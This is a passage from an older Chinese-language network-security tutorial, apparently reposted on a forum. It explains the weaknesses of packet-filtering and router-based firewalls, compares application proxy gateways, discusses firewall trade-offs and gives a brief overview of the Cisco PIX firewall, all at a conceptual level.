??基于路由器的防火墙有很快的速度,这是因为它被草草地检查了一下源地址,没有发挥路由器的真正作用,并不判断源地址是否是假的或伪装的。然而速度的加快是有代价的,基于路由器的防火墙将源地址作为索引,这就意味着带有伪造源地址的数据报能在一定程度上对内部服务器进行访问。
??庆幸的是许多数据报过滤技术能祢补基于路由器的缺陷。数据报的IP地址域并不是路由器唯一能捕捉的域。随着数据报过滤技术变得越来越复杂,系统管理员可以使用的规则和方案也越来越复杂。现在系统管理员甚至能以数据报中的国家信息作为过滤条件,当然还能以时间、协议、端口等作为过滤条件。
??基于路由器的防火墙车了数据报过滤的缺陷以外,还存在着其他的不足。例如:
??这种防火墙不能有效地过滤许多RPC(远程过程调用)服务,因为在系统初启动时绑定到这些服务上的端口是随机分配的。系统有一种端口映射服务器能将RPC服务的调用映射到这些服务对应的端口上;而在过滤数据报的路由器上没有端口映射服务,因此路由器无法知道哪些端口对应哪些RPC服务。这样除非路由器过滤掉所有的UDP报文,否则不可能完全禁止这类服务。而过滤掉所有的UDP报文又会导致一些必须的服务变得不可用,如DNS。这样对RPC的服务的禁止会导致系统陷入进退两难的境地。
??在多数情况下,此类协议过滤并不是不可能实现,一些非常复杂的方案能实现协议过滤,这主要依赖于远程主机调用的是哪个端口。
??还有一种防火墙是应用代理防火墙。这些防火墙的工作方式和过滤数据报的防火墙、以路由器为基础的防火墙的工作方式有点不同。它是基于软件的;
??当某远程用户想和一个运行应用网关的网络建立联系时,此应用网关会阻塞这个远程联结,然后对联结请求的各个域进行检查,如果此联结请求符合预定的规则,网关便会在远程主机和内部主机之间建立一个“桥”,进行协议之间的转换。
??这种网关代理模型的长处是不进行IP报文转发,更为重要的是可以在“桥”上设置更多的控制,而且这种工具还能提供非常成熟的日志功能。然而正如你猜测的那样,这些优点都是通过牺牲速度换取的,因为每次联结请求和所有发往内部网的报文都要在网关上经历接受、分析、转换和再转发等几个过程,所需要的时间显然要长得多。
??另外的一个不足是,必须为每个网络服务创建一个应用代理。这样FTP服务需要一个、Telnet需要一个、HTTP需要一个|. . .。
??应该说,这种应用网关系统更具有安全性。这是因为使用它们后IP转交功能不再生效,这就使得“身份不明”的IP报文无法到达网络内部。
6.3 防火墙的安全意义
??从理论上讲,防火墙是你所能采取的最严格的安全措施。然而,在这种严格的安全环境中还存在着一些问题。
??首先,由于使用防火墙而带来的严格的安全性实际上削弱了网络的功能。例如,一些研究表明,在分布式应用大量使用的环境中使用防火墙是不切实际的。因为防火墙实施的如此严格的安全策略使得此环境无法继续运转。你在安全方面得到了多少,那么在功能上就会失去多少,反之亦然。
??其次,防火墙容易使你孤注一掷。因为防火墙是你内部网络的屏障,一旦它被攻破,内部网络便能轻易地破坏。而且防火墙一直是网络的瓶颈,因为在这要进行所有的授权认证。
??对一些组织来说,使用防火墙是不切实际的,ISP就是其中之一。如果ISP采取严格的安全策略,那它很快就会失去客户。实际上,一些人提出不要使用防火墙,健全的系统管理带来的安全性能和使用防火墙所带来的一样好,而且还不会减缓网络速度或使得网络联结困难,但是很显然,这需要比较全面的技术支持。
??防火墙坚不可摧么?答案是否定的。到目前为止没有发现防火墙产品本身有问题,但是我们应用它的时候却产生了缺陷。入侵者一直从事如何攻破防火墙的工作,但是大量的研究结果表明为了达到目的必须进行两个阶段的攻击。第一个阶段是弄清楚在目标网络上安装的是何种防火墙并且此防火墙允许哪些服务运行。如果jakal扫描器就是这样的工具。
??第二个阶段的任务是寻找此类防火墙的漏洞。入侵者的研究表明即使是存在这样一个漏洞,也只能是认为造成的结果。UNIX系统的复杂性不能不说是产生问题的一个原因。
??一些常见的入侵步骤是:
从目标网上找出真正的攻击目标。
努力获得有关内部系统的部分结构。
阅读最新的安全文章。希望可以找到运行在防火墙后面的软件的BUG
6.4 Cicso PIX firewall简介
??这个防火墙不依赖于应用代理(应用代理会消耗CPU时间和网络资源),而是依赖于硬件组件内部的一个安全的操作系统。Cicso PIX防火墙的特殊特征包括通过HTML的配置和管理控制、IP隐藏和非转换、方便的配置以及同时支持16000直接连接。
产品说明
??防火墙是目前所有保护网络的方法中最能普遍接受的方法。而且防火墙技术还属于新兴技术,95%的入侵者无法突破防火墙。然而也曾有过防火墙被突破的记录。值得注意的是某些防火墙本身会引起一些安全问题。例如,最近发现在Raptor产品中的Gopher代理在某种情况下能使遭受拒绝服务攻击的Windows NT服务器变得很脆弱。
??在将来,防火墙技术会是一个有意思的研究领域。然而,如果我们需要把很多敏感的数据保护起来的时候,我们应该采用综合的办法,而不是仅仅依赖于防火墙。
??在涉及到网络安全的其它方面,比如邮件炸弹、IP电子欺骗等等,这里不再做详细的介绍,本文希望能起到一个抛砖引玉的作用,提示我们作为系统管理员,我们应该注意能影响到我们工作的黑客及其入侵者是如何利用各种各样的安全漏洞,如何进行攻击,如何进行防范。无论如何,我们的最终原则都是一个:使我们所维护的网络,更加的安全可靠。
 

最新评论

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-30 11:30 , Processed in 0.153276 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部